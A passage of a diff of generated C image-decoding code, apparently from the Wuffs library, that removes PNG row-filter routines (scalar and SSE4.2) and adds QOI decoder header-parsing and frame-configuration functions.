v_fb0 = ((uint32_t)(v_prev.ptr[0u])); +- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); +- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); +- if (v_pa0 >= 2147483648u) { +- v_pa0 = ((uint32_t)(0u - v_pa0)); +- } +- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); +- if (v_pb0 >= 2147483648u) { +- v_pb0 = ((uint32_t)(0u - v_pb0)); +- } +- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); +- if (v_pc0 >= 2147483648u) { +- v_pc0 = ((uint32_t)(0u - v_pc0)); +- } +- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { +- } else if (v_pb0 <= v_pc0) { +- v_fa0 = v_fb0; +- } else { +- v_fa0 = v_fc0; +- } +- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); +- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); +- v_fc0 = v_fb0; +- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); +- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); +- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); +- if (v_pa1 >= 2147483648u) { +- v_pa1 = ((uint32_t)(0u - v_pa1)); +- } +- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); +- if (v_pb1 >= 2147483648u) { +- v_pb1 = ((uint32_t)(0u - v_pb1)); +- } +- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); +- if (v_pc1 >= 2147483648u) { +- v_pc1 = ((uint32_t)(0u - v_pc1)); +- } +- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { +- } else if (v_pb1 <= v_pc1) { +- v_fa1 = v_fb1; +- } else { +- v_fa1 = v_fc1; +- } +- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); +- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); +- v_fc1 = v_fb1; +- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); +- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); +- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); +- if (v_pa2 >= 2147483648u) { +- v_pa2 = ((uint32_t)(0u - v_pa2)); +- } +- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); +- if (v_pb2 >= 2147483648u) { +- v_pb2 = ((uint32_t)(0u - v_pb2)); +- } +- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); +- if (v_pc2 >= 2147483648u) { +- v_pc2 = ((uint32_t)(0u - v_pc2)); ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; + } +- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { +- } else if (v_pb2 <= v_pc2) { +- v_fa2 = v_fb2; +- } else { +- v_fa2 = v_fc2; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); ++ goto exit; + } +- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); +- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); +- v_fc2 = v_fb2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- v_curr.len = 0; +- v_prev.len = 0; ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func png.decoder.filter_4_distance_4_fallback ++// -------- func qoi.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint32_t v_fa0 = 0; +- uint32_t v_fa1 = 0; +- uint32_t v_fa2 = 0; +- uint32_t v_fa3 = 0; +- uint32_t v_fb0 = 0; +- uint32_t v_fb1 = 0; +- uint32_t v_fb2 = 0; +- uint32_t v_fb3 = 0; +- uint32_t v_fc0 = 0; +- uint32_t v_fc1 = 0; +- uint32_t v_fc2 = 0; +- uint32_t v_fc3 = 0; +- uint32_t v_pp0 = 0; +- uint32_t v_pp1 = 0; +- uint32_t v_pp2 = 0; +- uint32_t v_pp3 = 0; +- uint32_t v_pa0 = 0; +- uint32_t v_pa1 = 0; +- uint32_t v_pa2 = 0; +- uint32_t v_pa3 = 0; +- uint32_t v_pb0 = 0; +- uint32_t v_pb1 = 0; +- uint32_t v_pb2 = 0; +- uint32_t v_pb3 = 0; +- uint32_t v_pc0 = 0; +- uint32_t v_pc1 = 0; +- uint32_t v_pc2 = 0; +- uint32_t v_pc3 = 0; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fb0 = ((uint32_t)(v_prev.ptr[0u])); +- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); +- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); +- if (v_pa0 >= 2147483648u) { +- v_pa0 = ((uint32_t)(0u - v_pa0)); +- } +- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); +- if (v_pb0 >= 2147483648u) { +- v_pb0 = ((uint32_t)(0u - v_pb0)); +- } +- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); +- if (v_pc0 >= 2147483648u) { +- v_pc0 = ((uint32_t)(0u - v_pc0)); +- } +- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { +- } else if (v_pb0 <= v_pc0) { +- v_fa0 = v_fb0; +- } else { +- v_fa0 = v_fc0; +- } +- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); +- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); +- v_fc0 = v_fb0; +- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); +- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); +- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); +- if (v_pa1 >= 2147483648u) { +- v_pa1 = ((uint32_t)(0u - v_pa1)); +- } +- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); +- if (v_pb1 >= 2147483648u) { +- v_pb1 = ((uint32_t)(0u - v_pb1)); +- } +- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); +- if (v_pc1 >= 2147483648u) { +- v_pc1 = ((uint32_t)(0u - v_pc1)); +- } +- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { +- } else if (v_pb1 <= v_pc1) { +- v_fa1 = v_fb1; ++ uint32_t v_a = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa1 = v_fc1; +- } +- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); +- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); +- v_fc1 = v_fb1; +- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); +- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); +- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); +- if (v_pa2 >= 2147483648u) { +- v_pa2 = ((uint32_t)(0u - v_pa2)); +- } +- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); +- if (v_pb2 >= 2147483648u) { +- v_pb2 = ((uint32_t)(0u - v_pb2)); +- } +- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); +- if (v_pc2 >= 2147483648u) { +- v_pc2 = ((uint32_t)(0u - v_pc2)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } + } +- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { +- } else if (v_pb2 <= v_pc2) { +- v_fa2 = v_fb2; ++ v_a = t_0; ++ } ++ if (v_a != 1718185841u) { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa2 = v_fc2; +- } +- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); +- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); +- v_fc2 = v_fb2; +- v_fb3 = ((uint32_t)(v_prev.ptr[3u])); +- v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); +- v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); +- if (v_pa3 >= 2147483648u) { +- v_pa3 = ((uint32_t)(0u - v_pa3)); +- } +- v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); +- if (v_pb3 >= 2147483648u) { +- v_pb3 = ((uint32_t)(0u - v_pb3)); +- } +- v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); +- if (v_pc3 >= 2147483648u) { +- v_pc3 = ((uint32_t)(0u - v_pc3)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } + } +- if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { +- } else if (v_pb3 <= v_pc3) { +- v_fa3 = v_fb3; ++ v_a = t_1; ++ } ++ if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- v_fa3 = v_fc3; ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)); ++ } + } +- v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); +- v_fa3 = ((uint32_t)(v_curr.ptr[3u])); +- v_fc3 = v_fb3; +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ v_a = t_2; + } +- v_curr.len = 0; +- v_prev.len = 0; +- } +- return wuffs_base__make_empty_struct(); +-} ++ if (v_a > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_3 = *iop_a_src++; ++ v_a = t_3; ++ } ++ if (v_a == 3u) { ++ self->private_impl.f_pixfmt = 2415954056u; ++ } else if (v_a == 4u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } else { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_header); ++ goto exit; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src++; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ 14u, ++ (self->private_impl.f_pixfmt == 2415954056u)); ++ } ++ self->private_impl.f_call_sequence = 32u; + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_1_distance_4_x86_sse42 ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_a128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_empty_struct(); ++ ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_3_distance_4_x86_sse42 ++// -------- func qoi.decoder.decode_frame_config + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_k128 = {0}; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- if (((uint64_t)(a_prev.len)) == 0u) { +- v_k128 = _mm_set1_epi8((int8_t)(254u)); +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_p128 = _mm_avg_epu8(_mm_and_si128(v_a128, v_k128), v_b128); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- } +- v_curr.len = 0; +- } +- } else { +- v_k128 = _mm_set1_epi8((int8_t)(1u)); +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; + } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_p128 = _mm_avg_epu8(v_a128, v_b128); +- v_p128 = _mm_sub_epi8(v_p128, _mm_and_si128(v_k128, _mm_xor_si128(v_a128, v_b128))); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); ++ goto exit; + } +- v_curr.len = 0; +- v_prev.len = 0; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_4_distance_3_x86_sse42 ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_c128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_pa128 = {0}; +- __m128i v_pb128 = {0}; +- __m128i v_pc128 = {0}; +- __m128i v_smallest128 = {0}; +- __m128i v_z128 = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = 